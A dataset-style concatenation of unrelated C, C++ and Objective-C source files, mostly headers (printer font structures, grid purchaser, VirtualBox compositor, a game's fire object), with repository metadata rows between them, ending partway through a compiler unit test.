dwSize; DWORD dwVersion; DWORD dwFlags; LONG lPredefinedID; DWORD dwGlyphCount; DWORD dwRunCount; DWORD loRunOffset; DWORD dwCodePageCount; DWORD loCodePageOffset; DWORD loMapTableOffset; DWORD dwReserved[2]; } UNI_GLYPHSETDATA, *PUNI_GLYPHSETDATA; typedef struct _UNI_CODEPAGEINFO { DWORD dwCodePage; INVOC SelectSymbolSet; INVOC UnSelectSymbolSet; } UNI_CODEPAGEINFO, *PUNI_CODEPAGEINFO; typedef struct _GLYPHRUN { WCHAR wcLow; WORD wGlyphCount; } GLYPHRUN, *PGLYPHRUN; typedef struct _TRANSDATA { BYTE ubCodePageID; BYTE ubType; union { SHORT sCode; BYTE ubCode; BYTE ubPairs[2]; } uCode; } TRANSDATA, *PTRANSDATA; typedef struct _MAPTABLE { DWORD dwSize; DWORD dwGlyphNum; TRANSDATA Trans[1]; } MAPTABLE, *PMAPTABLE; typedef struct _UFF_FILEHEADER { DWORD dwSignature; DWORD dwVersion; DWORD dwSize; DWORD nFonts; DWORD nGlyphSets; DWORD nVarData; DWORD offFontDir; DWORD dwFlags; DWORD dwReserved[4]; } UFF_FILEHEADER, *PUFF_FILEHEADER; typedef struct _UFF_FONTDIRECTORY { DWORD dwSignature; WORD wSize; WORD wFontID; SHORT sGlyphID; WORD wFlags; DWORD dwInstallerSig; DWORD offFontName; DWORD offCartridgeName; DWORD offFontData; DWORD offGlyphData; DWORD offVarData; } UFF_FONTDIRECTORY, *PUFF_FONTDIRECTORY; typedef struct _DATA_HEADER { DWORD dwSignature; WORD wSize; WORD wDataID; DWORD dwDataSize; DWORD dwReserved; } DATA_HEADER, *PDATA_HEADER; typedef struct _OEMFONTINSTPARAM { DWORD cbSize; HANDLE hPrinter; HANDLE hModule; HANDLE hHeap; DWORD dwFlags; PWSTR pFontInstallerName; } OEMFONTINSTPARAM, *POEMFONTINSTPARAM; #endif /* __PRNTFONT_H */
24.191638
117
0.742618
76e871771b106f291a740f13632f7d18d1245306
2,943
h
C
core/interface/glite/wms/ism/purchaser/ism-ii-purchaser.h
italiangrid/wms
5b2adda72ba13cf2a85ec488894c2024e155a4b5
[ "Apache-2.0" ]
1
2019-01-18T02:19:18.000Z
2019-01-18T02:19:18.000Z
core/interface/glite/wms/ism/purchaser/ism-ii-purchaser.h
italiangrid/wms
5b2adda72ba13cf2a85ec488894c2024e155a4b5
[ "Apache-2.0" ]
null
null
null
core/interface/glite/wms/ism/purchaser/ism-ii-purchaser.h
italiangrid/wms
5b2adda72ba13cf2a85ec488894c2024e155a4b5
[ "Apache-2.0" ]
null
null
null
/* Copyright (c) Members of the EGEE Collaboration. 2004. See http://www.eu-egee.org/partners for details on the copyright holders. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // File: ism-ii-purchaser.h // Author: Salvatore Monforte <Salvatore.Monforte@ct.infn.it> // Copyright (c) 2004 EU DataGrid. // $Id: ism-ii-purchaser.h,v 1.9.2.3.2.3.4.2.4.3 2012/07/12 10:02:54 mcecchi Exp $ #ifndef GLITE_WMS_ISM_PURCHASER_ISM_II_PURCHASER_H #define GLITE_WMS_ISM_PURCHASER_ISM_II_PURCHASER_H #include <string> #include "glite/wms/ism/purchaser/common.h" #include "glite/wms/ism/purchaser/ism-purchaser.h" namespace glite { namespace wms { namespace ism { namespace purchaser { class ism_ii_purchaser : public ism_purchaser { public: ism_ii_purchaser( std::string const& hostname, int port, std::string const& distinguished_name, int timeout = 30, std::string const& ldap_ce_filter_g13 = std::string(), std::string const& ldap_ce_filter_g20 = std::string(), std::string const& ldap_se_filter_g20 = std::string(), bool ldap_search_async = false, exec_mode_t mode = loop, size_t interval = 30, exit_predicate_type exit_predicate = exit_predicate_type(), skip_predicate_type skip_predicate = false_ ); void operator()(); private: std::string m_hostname; int m_port; std::string m_dn; int m_timeout; std::string m_ldap_ce_filter_g13; std::string m_ldap_ce_filter_g20; std::string m_ldap_se_filter_g20; bool m_ldap_search_async; }; class ism_ii_purchaser_entry_update { public: ism_ii_purchaser_entry_update() {} bool operator()(int a, boost::shared_ptr<classad::ClassAd>& ad); }; namespace ii { // the types of the class factories typedef ism_ii_purchaser* create_t(std::string const& hostname, int port, std::string const& distinguished_name, int timeout = 30, std::string const& ldap_ce_filter_g13 = std::string(), std::string const& ldap_ce_filter_g20 = std::string(), std::string const& ldap_se_filter_g20 = std::string(), bool ldap_search_async = false, exec_mode_t mode = loop, size_t interval = 30, exit_predicate_type exit_predicate = exit_predicate_type(), skip_predicate_type skip_predicate = false_ ); typedef void destroy_t(ism_ii_purchaser*); // type of the entry update function factory typedef boost::function<bool(int&, boost::shared_ptr<classad::ClassAd>)> create_entry_update_fn_t(); } }}}} #endif
29.138614
100
0.740741
74496d6b12c595aa8880354b076db15491793302
11,936
h
C
VirtualBox-5.0.0/src/VBox/GuestHost/OpenGL/include/cr_compositor.h
egraba/vbox_openbsd
6cb82f2eed1fa697d088cecc91722b55b19713c2
[ "MIT" ]
1
2015-04-30T14:18:45.000Z
2015-04-30T14:18:45.000Z
VirtualBox-5.0.0/src/VBox/GuestHost/OpenGL/include/cr_compositor.h
egraba/vbox_openbsd
6cb82f2eed1fa697d088cecc91722b55b19713c2
[ "MIT" ]
null
null
null
VirtualBox-5.0.0/src/VBox/GuestHost/OpenGL/include/cr_compositor.h
egraba/vbox_openbsd
6cb82f2eed1fa697d088cecc91722b55b19713c2
[ "MIT" ]
null
null
null
/* $Id: cr_compositor.h $ */ /** @file * Compositor API. */ /* * Copyright (C) 2013-2014 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. */ #ifndef ___cr_compositor_h #define ___cr_compositor_h #include "cr_vreg.h" #include "cr_blitter.h" /* Compositor with Stretching & Cached Rectangles info */ RT_C_DECLS_BEGIN struct VBOXVR_SCR_COMPOSITOR_ENTRY; struct VBOXVR_SCR_COMPOSITOR; typedef DECLCALLBACK(void) FNVBOXVRSCRCOMPOSITOR_ENTRY_RELEASED(const struct VBOXVR_SCR_COMPOSITOR *pCompositor, struct VBOXVR_SCR_COMPOSITOR_ENTRY *pEntry, struct VBOXVR_SCR_COMPOSITOR_ENTRY *pReplacingEntry); typedef FNVBOXVRSCRCOMPOSITOR_ENTRY_RELEASED *PFNVBOXVRSCRCOMPOSITOR_ENTRY_RELEASED; typedef struct VBOXVR_SCR_COMPOSITOR_ENTRY { VBOXVR_COMPOSITOR_ENTRY Ce; RTRECT Rect; uint32_t fChanged; uint32_t fFlags; uint32_t cRects; PRTRECT paSrcRects; PRTRECT paDstRects; PRTRECT paDstUnstretchedRects; PFNVBOXVRSCRCOMPOSITOR_ENTRY_RELEASED pfnEntryReleased; PCR_TEXDATA pTex; } VBOXVR_SCR_COMPOSITOR_ENTRY; typedef VBOXVR_SCR_COMPOSITOR_ENTRY *PVBOXVR_SCR_COMPOSITOR_ENTRY; typedef VBOXVR_SCR_COMPOSITOR_ENTRY const *PCVBOXVR_SCR_COMPOSITOR_ENTRY; typedef struct VBOXVR_SCR_COMPOSITOR { VBOXVR_COMPOSITOR Compositor; RTRECT Rect; #ifndef IN_RING0 float StretchX; float StretchY; #endif uint32_t fFlags; uint32_t cRects; uint32_t cRectsBuffer; PRTRECT paSrcRects; PRTRECT paDstRects; PRTRECT paDstUnstretchedRects; } VBOXVR_SCR_COMPOSITOR; typedef VBOXVR_SCR_COMPOSITOR *PVBOXVR_SCR_COMPOSITOR; typedef VBOXVR_SCR_COMPOSITOR const *PCVBOXVR_SCR_COMPOSITOR; typedef DECLCALLBACK(bool) FNVBOXVRSCRCOMPOSITOR_VISITOR(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, void *pvVisitor); typedef FNVBOXVRSCRCOMPOSITOR_VISITOR *PFNVBOXVRSCRCOMPOSITOR_VISITOR; DECLINLINE(void) CrVrScrCompositorEntryInit(PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PCRTRECT pRect, CR_TEXDATA *pTex, PFNVBOXVRSCRCOMPOSITOR_ENTRY_RELEASED pfnEntryReleased) { memset(pEntry, 0, sizeof (*pEntry)); VBoxVrCompositorEntryInit(&pEntry->Ce); pEntry->Rect = *pRect; pEntry->pfnEntryReleased = pfnEntryReleased; if (pTex) { CrTdAddRef(pTex); pEntry->pTex = pTex; } } DECLINLINE(void) CrVrScrCompositorEntryCleanup(PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { if (pEntry->pTex) { CrTdRelease(pEntry->pTex); pEntry->pTex = NULL; } } DECLINLINE(bool) CrVrScrCompositorEntryIsUsed(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { return VBoxVrCompositorEntryIsInList(&pEntry->Ce); } DECLINLINE(void) CrVrScrCompositorEntrySetChanged(PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, bool fChanged) { pEntry->fChanged = !!fChanged; } DECLINLINE(void) CrVrScrCompositorEntryTexSet(PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, CR_TEXDATA *pTex) { if (pEntry->pTex) CrTdRelease(pEntry->pTex); if (pTex) CrTdAddRef(pTex); pEntry->pTex = pTex; } DECLINLINE(CR_TEXDATA *) CrVrScrCompositorEntryTexGet(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { return pEntry->pTex; } DECLINLINE(bool) CrVrScrCompositorEntryIsChanged(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { return !!pEntry->fChanged; } DECLINLINE(bool) CrVrScrCompositorIsEmpty(PCVBOXVR_SCR_COMPOSITOR pCompositor) { return VBoxVrCompositorIsEmpty(&pCompositor->Compositor); } VBOXVREGDECL(int) CrVrScrCompositorEntryRectSet(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PCRTRECT pRect); VBOXVREGDECL(int) CrVrScrCompositorEntryTexAssign(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, CR_TEXDATA *pTex); VBOXVREGDECL(void) CrVrScrCompositorVisit(PVBOXVR_SCR_COMPOSITOR pCompositor, PFNVBOXVRSCRCOMPOSITOR_VISITOR pfnVisitor, void *pvVisitor); VBOXVREGDECL(void) CrVrScrCompositorEntrySetAllChanged(PVBOXVR_SCR_COMPOSITOR pCompositor, bool fChanged); DECLINLINE(bool) CrVrScrCompositorEntryIsInList(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { return VBoxVrCompositorEntryIsInList(&pEntry->Ce); } VBOXVREGDECL(int) CrVrScrCompositorEntryRegionsAdd(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PCRTPOINT pPos, uint32_t cRegions, PCRTRECT paRegions, bool fPosRelated, VBOXVR_SCR_COMPOSITOR_ENTRY **ppReplacedScrEntry, uint32_t *pfChangeFlags); VBOXVREGDECL(int) CrVrScrCompositorEntryRegionsSet(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PCRTPOINT pPos, uint32_t cRegions, PCRTRECT paRegions, bool fPosRelated, bool *pfChanged); VBOXVREGDECL(int) CrVrScrCompositorEntryListIntersect(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PCVBOXVR_LIST pList2, bool *pfChanged); VBOXVREGDECL(int) CrVrScrCompositorEntryRegionsIntersect(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, uint32_t cRegions, PCRTRECT paRegions, bool *pfChanged); VBOXVREGDECL(int) CrVrScrCompositorEntryRegionsIntersectAll(PVBOXVR_SCR_COMPOSITOR pCompositor, uint32_t cRegions, PCRTRECT paRegions, bool *pfChanged); VBOXVREGDECL(int) CrVrScrCompositorEntryListIntersectAll(PVBOXVR_SCR_COMPOSITOR pCompositor, PCVBOXVR_LIST pList2, bool *pfChanged); VBOXVREGDECL(int) CrVrScrCompositorEntryPosSet(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PCRTPOINT pPos); DECLINLINE(PCRTRECT) CrVrScrCompositorEntryRectGet(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { return &pEntry->Rect; } /* regions are valid until the next CrVrScrCompositor call */ VBOXVREGDECL(int) CrVrScrCompositorEntryRegionsGet(PCVBOXVR_SCR_COMPOSITOR pCompositor, PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, uint32_t *pcRegions, PCRTRECT *ppaSrcRegions, PCRTRECT *ppaDstRegions, PCRTRECT *ppaDstUnstretchedRects); VBOXVREGDECL(int) CrVrScrCompositorEntryRemove(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry); VBOXVREGDECL(bool) CrVrScrCompositorEntryReplace(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, PVBOXVR_SCR_COMPOSITOR_ENTRY pNewEntry); VBOXVREGDECL(void) CrVrScrCompositorEntryFlagsSet(PVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, uint32_t fFlags); VBOXVREGDECL(uint32_t) CrVrScrCompositorEntryFlagsCombinedGet(PCVBOXVR_SCR_COMPOSITOR pCompositor, PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry); DECLINLINE(uint32_t) CrVrScrCompositorEntryFlagsGet(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry) { return pEntry->fFlags; } VBOXVREGDECL(void) CrVrScrCompositorInit(PVBOXVR_SCR_COMPOSITOR pCompositor, PCRTRECT pRect); VBOXVREGDECL(int) CrVrScrCompositorRectSet(PVBOXVR_SCR_COMPOSITOR pCompositor, PCRTRECT pRect, bool *pfChanged); DECLINLINE(PCRTRECT) CrVrScrCompositorRectGet(PCVBOXVR_SCR_COMPOSITOR pCompositor) { return &pCompositor->Rect; } VBOXVREGDECL(void) CrVrScrCompositorClear(PVBOXVR_SCR_COMPOSITOR pCompositor); VBOXVREGDECL(void) CrVrScrCompositorRegionsClear(PVBOXVR_SCR_COMPOSITOR pCompositor, bool *pfChanged); typedef DECLCALLBACK(VBOXVR_SCR_COMPOSITOR_ENTRY*) FNVBOXVR_SCR_COMPOSITOR_ENTRY_FOR(PCVBOXVR_SCR_COMPOSITOR_ENTRY pEntry, void *pvContext); typedef FNVBOXVR_SCR_COMPOSITOR_ENTRY_FOR *PFNVBOXVR_SCR_COMPOSITOR_ENTRY_FOR; VBOXVREGDECL(int) CrVrScrCompositorClone(PCVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR pDstCompositor, PFNVBOXVR_SCR_COMPOSITOR_ENTRY_FOR pfnEntryFor, void *pvEntryFor); VBOXVREGDECL(int) CrVrScrCompositorIntersectList(PVBOXVR_SCR_COMPOSITOR pCompositor, PCVBOXVR_LIST pVr, bool *pfChanged); VBOXVREGDECL(int) CrVrScrCompositorIntersectedList(PCVBOXVR_SCR_COMPOSITOR pCompositor, PCVBOXVR_LIST pVr, PVBOXVR_SCR_COMPOSITOR pDstCompositor, PFNVBOXVR_SCR_COMPOSITOR_ENTRY_FOR pfnEntryFor, void *pvEntryFor, bool *pfChanged); #ifndef IN_RING0 VBOXVREGDECL(void) CrVrScrCompositorSetStretching(PVBOXVR_SCR_COMPOSITOR pCompositor, float StretchX, float StretchY); DECLINLINE(void) CrVrScrCompositorGetStretching(PCVBOXVR_SCR_COMPOSITOR pCompositor, float *pStretchX, float *pStretchY) { if (pStretchX) *pStretchX = pCompositor->StretchX; if (pStretchY) *pStretchY = pCompositor->StretchY; } #endif /* regions are valid until the next CrVrScrCompositor call */ VBOXVREGDECL(int) CrVrScrCompositorRegionsGet(PCVBOXVR_SCR_COMPOSITOR pCompositor, uint32_t *pcRegions, PCRTRECT *ppaSrcRegions, PCRTRECT *ppaDstRegions, PCRTRECT *ppaDstUnstretchedRects); #define VBOXVR_SCR_COMPOSITOR_ENTRY_FROM_ENTRY(_p) RT_FROM_MEMBER(_p, VBOXVR_SCR_COMPOSITOR_ENTRY, Ce) #define VBOXVR_SCR_COMPOSITOR_CONST_ENTRY_FROM_ENTRY(_p) RT_FROM_MEMBER(_p, const VBOXVR_SCR_COMPOSITOR_ENTRY, Ce) #define VBOXVR_SCR_COMPOSITOR_FROM_COMPOSITOR(_p) RT_FROM_MEMBER(_p, VBOXVR_SCR_COMPOSITOR, Compositor) typedef struct VBOXVR_SCR_COMPOSITOR_ITERATOR { VBOXVR_COMPOSITOR_ITERATOR Base; } VBOXVR_SCR_COMPOSITOR_ITERATOR; typedef VBOXVR_SCR_COMPOSITOR_ITERATOR *PVBOXVR_SCR_COMPOSITOR_ITERATOR; typedef struct VBOXVR_SCR_COMPOSITOR_CONST_ITERATOR { VBOXVR_COMPOSITOR_CONST_ITERATOR Base; } VBOXVR_SCR_COMPOSITOR_CONST_ITERATOR; typedef VBOXVR_SCR_COMPOSITOR_CONST_ITERATOR *PVBOXVR_SCR_COMPOSITOR_CONST_ITERATOR; DECLINLINE(void) CrVrScrCompositorIterInit(PVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_ITERATOR pIter) { VBoxVrCompositorIterInit(&pCompositor->Compositor, &pIter->Base); } DECLINLINE(void) CrVrScrCompositorConstIterInit(PCVBOXVR_SCR_COMPOSITOR pCompositor, PVBOXVR_SCR_COMPOSITOR_CONST_ITERATOR pIter) { VBoxVrCompositorConstIterInit(&pCompositor->Compositor, &pIter->Base); } DECLINLINE(PVBOXVR_SCR_COMPOSITOR_ENTRY) CrVrScrCompositorIterNext(PVBOXVR_SCR_COMPOSITOR_ITERATOR pIter) { PVBOXVR_COMPOSITOR_ENTRY pCe = VBoxVrCompositorIterNext(&pIter->Base); if (pCe) return VBOXVR_SCR_COMPOSITOR_ENTRY_FROM_ENTRY(pCe); return NULL; } DECLINLINE(PCVBOXVR_SCR_COMPOSITOR_ENTRY) CrVrScrCompositorConstIterNext(PVBOXVR_SCR_COMPOSITOR_CONST_ITERATOR pIter) { PCVBOXVR_COMPOSITOR_ENTRY pCe = VBoxVrCompositorConstIterNext(&pIter->Base); if (pCe) return VBOXVR_SCR_COMPOSITOR_CONST_ENTRY_FROM_ENTRY(pCe); return NULL; } RT_C_DECLS_END #endif
44.87218
134
0.734249
daee08822579786163d3a8d83fdd4f4ef6e6fe7c
1,362
h
C
NOLF/ObjectDLL/Fire.h
haekb/nolf1-modernizer
25bac3d43c40a83b8e90201a70a14ef63b4240e7
[ "Unlicense" ]
38
2019-09-16T14:46:42.000Z
2022-03-10T20:28:10.000Z
NOLF/ObjectDLL/Fire.h
haekb/nolf1-modernizer
25bac3d43c40a83b8e90201a70a14ef63b4240e7
[ "Unlicense" ]
39
2019-08-12T01:35:33.000Z
2022-02-28T16:48:16.000Z
NOLF/ObjectDLL/Fire.h
haekb/nolf1-modernizer
25bac3d43c40a83b8e90201a70a14ef63b4240e7
[ "Unlicense" ]
6
2019-09-17T12:49:18.000Z
2022-03-10T20:28:12.000Z
// ----------------------------------------------------------------------- // // // MODULE : Fire.h // // PURPOSE : Fire - Definition // // CREATED : 5/6/99 // // (c) 1999 Monolith Productions, Inc. All Rights Reserved // // ----------------------------------------------------------------------- // #ifndef __FIRE_H__ #define __FIRE_H__ #include "ClientSFX.h" #include "SFXMsgIds.h" class Fire : public CClientSFX { public : Fire(); ~Fire(); protected : uint32 EngineMessageFn(uint32 messageID, void *pData, LTFLOAT fData); uint32 ObjectMessageFn(HOBJECT hSender, uint32 messageID, HMESSAGEREAD hRead); void HandleMsg(HOBJECT hSender, const char* szMsg); private : LTBOOL m_bOn; LTBOOL m_bSmoke; LTBOOL m_bLight; LTBOOL m_bSparks; LTBOOL m_bSound; LTBOOL m_bBlackSmoke; LTBOOL m_bSmokeOnly; LTFLOAT m_fRadius; LTFLOAT m_fSoundRadius; LTFLOAT m_fLightRadius; LTFLOAT m_fLightPhase; LTFLOAT m_fLightFreq; LTVector m_vLightColor; LTVector m_vLightOffset; void Save(HMESSAGEWRITE hWrite, uint32 dwSaveFlags); void Load(HMESSAGEREAD hRead, uint32 dwLoadFlags); LTBOOL ReadProp(ObjectCreateStruct *pStruct); void InitialUpdate(int nInfo); }; #endif // __FIRE_H__
24.321429
87
0.57489
97af04cd9e658d12304a476d4dce95b6c2756f3d
372
h
C
TTNews/Classes/Me/ShoppingMyTableCell.h
1370156363/TTNews1
8775ec0e4bc878ddfc978c50f95add5504492e03
[ "Unlicense", "MIT" ]
null
null
null
TTNews/Classes/Me/ShoppingMyTableCell.h
1370156363/TTNews1
8775ec0e4bc878ddfc978c50f95add5504492e03
[ "Unlicense", "MIT" ]
null
null
null
TTNews/Classes/Me/ShoppingMyTableCell.h
1370156363/TTNews1
8775ec0e4bc878ddfc978c50f95add5504492e03
[ "Unlicense", "MIT" ]
null
null
null
// // ShoppingMyTableCell.h // TTNews // // Created by 薛立强 on 2017/11/6. // Copyright © 2017年 瑞文戴尔. All rights reserved. // #import <UIKit/UIKit.h> typedef void(^ShoppingTableBlock)(NSInteger index); @interface ShoppingMyTableCell : UITableViewCell @property (nonatomic, copy) ShoppingTableBlock block; -(void)ShoppingTableReturn:(ShoppingTableBlock)block; @end
18.6
53
0.747312
0501ed7a8a1a3dddc3106b907e7f738785275287
760
h
C
src/Utility.h
Kolefn/REINFORCEpp
971e3f9e43311fa3321236bc069477966014ed2b
[ "MIT" ]
null
null
null
src/Utility.h
Kolefn/REINFORCEpp
971e3f9e43311fa3321236bc069477966014ed2b
[ "MIT" ]
null
null
null
src/Utility.h
Kolefn/REINFORCEpp
971e3f9e43311fa3321236bc069477966014ed2b
[ "MIT" ]
null
null
null
/* * Utility.h * * Created on: Nov 15, 2017 * Author: Kole Nunley */ #ifndef UTILITY_H #define UTILITY_H #include <iostream> #include <fstream> #include <random> #include <vector> #include <math.h> #include "json.hpp" class Utility { public: static float gaussRandom(); static float randomFloat(float min, float max); static int randomInt(int min, int max); static float randomN(float mu, float std); static std::vector<float>* zeros(int n); static void writeJSON(nlohmann::json* j, std::string filepath, bool del = true); static nlohmann::json* readJSON(std::string filepath); static float sig(float x); private: //caching for better random generation static bool return_v; static float v_val; }; #endif /* UTILITY_H_ */
21.714286
84
0.702632
051024667f17f2b3b04b6c61e52799596bb07d84
90
c
C
sample-projects/CMoflonDemoLanguage/injection/custom-typedefs_LStarKtcAlgorithm.c
eMoflon/cmoflon-examples
87cd7fbfee35de756f26a50c69241b875f4caf1a
[ "Apache-2.0" ]
1
2018-03-09T10:17:34.000Z
2018-03-09T10:17:34.000Z
sample-projects/CMoflonDemoLanguage/injection/custom-typedefs_LStarKtcAlgorithm.c
eMoflon/cmoflon-examples
87cd7fbfee35de756f26a50c69241b875f4caf1a
[ "Apache-2.0" ]
1
2018-05-02T09:13:00.000Z
2018-05-15T11:02:17.000Z
sample-projects/CMoflonDemoLanguage/injection/custom-typedefs_LStarKtcAlgorithm.c
eMoflon/cmoflon-examples
87cd7fbfee35de756f26a50c69241b875f4caf1a
[ "Apache-2.0" ]
null
null
null
typedef struct { EDouble k; EDouble stretchFactor; NODE_T* node; }LSTARKTCALGORITHM_T;
15
23
0.777778
6b0933bcb6dba4f4c74b7d85b24a44485d0cc14d
403
h
C
JSDCoreDataManager/JSDCoreDataManager/DataModel/User+CoreDataProperties.h
doaspromised/JSDCoreDataManager
f6a000afdcdb09cda29725e95d18b21c713d990e
[ "MIT" ]
5
2017-08-31T12:20:49.000Z
2017-09-04T09:03:51.000Z
JSDCoreDataManager/JSDCoreDataManager/DataModel/User+CoreDataProperties.h
JiangShoudong/JSDCoreDataManager
f6a000afdcdb09cda29725e95d18b21c713d990e
[ "MIT" ]
null
null
null
JSDCoreDataManager/JSDCoreDataManager/DataModel/User+CoreDataProperties.h
JiangShoudong/JSDCoreDataManager
f6a000afdcdb09cda29725e95d18b21c713d990e
[ "MIT" ]
1
2022-02-22T11:45:26.000Z
2022-02-22T11:45:26.000Z
// // User+CoreDataProperties.h // JSDCoreDataManager // // Created by Abner on 2017/8/31. // Copyright © 2017年 姜守栋. All rights reserved. // #import "User+CoreDataClass.h" NS_ASSUME_NONNULL_BEGIN @interface User (CoreDataProperties) + (NSFetchRequest<User *> *)fetchRequest; @property (nullable, nonatomic, copy) NSString *name; @property (nonatomic) int32_t age; @end NS_ASSUME_NONNULL_END
16.791667
53
0.739454
8cfd8c720363102f670fa82c600212c3f09220b1
1,071
h
C
include/il2cpp/System/Array/InternalEnumerator_SWAY_GRASS_REC_.h
martmists-gh/BDSP
d6326c5d3ad9697ea65269ed47aa0b63abac2a0a
[ "MIT" ]
1
2022-01-15T20:20:27.000Z
2022-01-15T20:20:27.000Z
include/il2cpp/System/Array/InternalEnumerator_SWAY_GRASS_REC_.h
martmists-gh/BDSP
d6326c5d3ad9697ea65269ed47aa0b63abac2a0a
[ "MIT" ]
null
null
null
include/il2cpp/System/Array/InternalEnumerator_SWAY_GRASS_REC_.h
martmists-gh/BDSP
d6326c5d3ad9697ea65269ed47aa0b63abac2a0a
[ "MIT" ]
null
null
null
#pragma once #include "il2cpp.h" void System_Array_InternalEnumerator_SWAY_GRASS_REC____ctor (System_Array_InternalEnumerator_SWAY_GRASS_REC__o __this, System_Array_o* array, const MethodInfo* method_info); void System_Array_InternalEnumerator_SWAY_GRASS_REC___Dispose (System_Array_InternalEnumerator_SWAY_GRASS_REC__o __this, const MethodInfo* method_info); bool System_Array_InternalEnumerator_SWAY_GRASS_REC___MoveNext (System_Array_InternalEnumerator_SWAY_GRASS_REC__o __this, const MethodInfo* method_info); DPData_SWAY_GRASS_REC_o System_Array_InternalEnumerator_SWAY_GRASS_REC___get_Current (System_Array_InternalEnumerator_SWAY_GRASS_REC__o __this, const MethodInfo* method_info); void System_Array_InternalEnumerator_SWAY_GRASS_REC___System_Collections_IEnumerator_Reset (System_Array_InternalEnumerator_SWAY_GRASS_REC__o __this, const MethodInfo* method_info); Il2CppObject* System_Array_InternalEnumerator_SWAY_GRASS_REC___System_Collections_IEnumerator_get_Current (System_Array_InternalEnumerator_SWAY_GRASS_REC__o __this, const MethodInfo* method_info);
97.363636
196
0.917834
0b898f0d76e6c95f4b44b89f400b30f28ec5374d
11,983
c
C
src/cc1/test.c
bocke/ucc
d95c0014dfc555c3eb6e9fdf909e0460bf2a0060
[ "MIT" ]
null
null
null
src/cc1/test.c
bocke/ucc
d95c0014dfc555c3eb6e9fdf909e0460bf2a0060
[ "MIT" ]
null
null
null
src/cc1/test.c
bocke/ucc
d95c0014dfc555c3eb6e9fdf909e0460bf2a0060
[ "MIT" ]
null
null
null
#include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include "../util/where.h" #include "../util/warn.h" #include "cc1.h" #include "cc1_where.h" #include "out/asm.h" #include "fopt.h" #include "sanitize_opt.h" #include "funcargs.h" #include "cc1_target.h" #include "cc1_out.h" #include "warn.h" /* builtin tests */ #include "out/out.h" enum cc1_backend cc1_backend = BACKEND_ASM; int cc1_error_limit = 16; char *cc1_first_fname; int cc1_profileg; enum debug_level cc1_gdebug = DEBUG_OFF; int cc1_gdebug_columninfo; int cc1_mstack_align; enum c_std cc1_std = STD_C99; struct cc1_output cc1_output; dynmap *cc1_outsections; struct cc1_fopt cc1_fopt; enum mopt mopt_mode; int show_current_line; enum visibility cc1_visibility_default; struct target_details cc1_target_details; enum stringop_strategy cc1_mstringop_strategy = STRINGOP_STRATEGY_THRESHOLD; unsigned cc1_mstringop_threshold = 16; int where_in_sysheader(const where *w) { (void)w; return 1; } /* ------------ */ #include "type_nav.h" static int ec; static void test(int cond, const char *expr, int line) { if(!cond){ ec = 1; fprintf(stderr, "%s:%d: test failed: %s\n", __FILE__, line, expr); } } #define test(exp) test((exp), #exp, __LINE__) static void test_quals(void) { type *tint = type_nav_btype(cc1_type_nav, type_int); type *tconstint = type_qualify(tint, qual_const); test(tconstint == type_qualify(tconstint, qual_const)); } static void test_decl_interposability(void) { sym s = { 0 }; decl d = { 0 }; decl d_fn = { 0 }; decl d_extern = { 0 }; decl d_extern_fn = { 0 }; decl d_inline_fn = { 0 }; struct type_nav *types = type_nav_init(); funcargs args = { 0 }; /* * int d * int d_fn() {} * extern int d_extern * extern int d_extern_fn() * inline int d_inline_fn() */ s.type = sym_global; d.sym = &s; d_fn.sym = &s; d_extern.sym = &s; d_extern_fn.sym = &s; d_inline_fn.sym = &s; d.ref = type_nav_btype(types, type_int); d_fn.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_extern.ref = type_nav_btype(types, type_int); d_extern_fn.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_inline_fn.ref = type_func_of(type_nav_btype(types, type_int), &args, NULL); d_fn.bits.func.code = (void *)1; d_extern.store = store_extern; d_inline_fn.store = store_inline; d_inline_fn.bits.func.code = (void *)1; cc1_fopt.pic = 0; cc1_fopt.pie = 0; cc1_fopt.semantic_interposition = 1; test(decl_visibility(&d) 